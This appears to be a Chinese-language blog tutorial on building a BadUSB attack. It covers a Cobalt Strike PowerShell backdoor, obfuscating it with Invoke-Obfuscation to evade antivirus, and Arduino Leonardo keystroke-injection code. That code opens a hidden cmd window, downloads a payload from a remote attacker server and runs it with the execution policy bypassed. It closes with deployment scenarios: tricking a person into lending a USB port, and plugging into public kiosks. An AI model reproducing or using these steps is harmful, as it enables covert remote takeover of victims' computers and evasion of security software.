0x01 简单免杀制作
1.CobaltStrike服务端准备

启动服务端命令
代码语言:javascript复制./teamserver 192.168.1.6 adm1nt1st2.CobaltStrike客户端登录并导出PS远控
输入服务端IP端口密码,用户名随意写

设置监听器

Payload默认即可,端口尽量别冲突

选择Payload后门生成

生成PowerShell

运行保存在桌面的payload.ps1,在杀软全程开启的情况下直接上线(易翻车,运气好)

3.编码混淆
PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。
进入Invoke-Obfuscation目录后,在PowerShell中执行命令
代码语言:javascript复制Import-Module .Invoke-Obfuscation.psd1
Invoke-Obfuscation
遇到权限报错问题可以参照:
https://blog.csdn.net/ebzxw/article/details/85019887
然后执行命令,指定待处理的Ps1文件
代码语言:javascript复制set scriptpath c:xxxpayload.ps1或者指定待处理的ps代码
代码语言:javascript复制set scriptblock 'echo xss'
输入encoding 并选择编码方式,比如1

输入命令,导出免杀ps文件到指定路径
代码语言:javascript复制out C:xxxxxx.ps1
运行上线,至此,简单免杀制作完成。

4.放到远程服务器备用

0x02 BadUsb制作
1.将硬件插入电脑

2.打开Arduino IDE
工具->板->选择"Arduino Leonardo"

端口->选择"COM (Arduino Leonardo)"

3.将以下代码粘贴到arduino
代码语言:javascript复制void setup() {
// putpower shell your setup code here, to run once
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1"); //无回显
//Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1""); //有回显
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.println("powershell");
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.println("$url= 'http://xx.xx.xx.xx/xxx.ps1';"); //远程服务器ps1远控地址
Keyboard.println("$file = 'd:\xxx.ps1';"); //下载到目标存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段执行绕过防火墙进程防护
Keyboard.println("powershell.exe -executionpolicy bypass -file d:\xxx.ps1"); //本地权限绕过执行木马脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {
// put your main code here, to run repeatedly:
}代码大体意思:
代码语言:javascript复制插入BadUsb后等待3秒
按下Windows R
切换大写绕开输入法
模拟输入字符串,最小化打开cmd窗口
隐藏输入特定命令,下载远控并调用powershell执行4.接下来进行烧录程序
注意右下角,程序写到BadUSB里,别写错地方了,程序不报错证明成功


0x03 上线测试
1.电脑插入BadUSB
会有些许痕迹,大家后续集思广益可以自己改善

会有一个很小的cmd窗口,放大里边没任何内容
可以看到更新火绒库后不会报毒

2.打开CobaltStrike,发现已经上线

0x04 攻击场景
1.社工攻击
小姐姐小姐姐,我的电脑坏了,插不了U盘,你的借我插一下呗

2.带有USB接口的终端机
各场所终端机器,找到USB接口怼进去

3.其他应用场景自行脑补


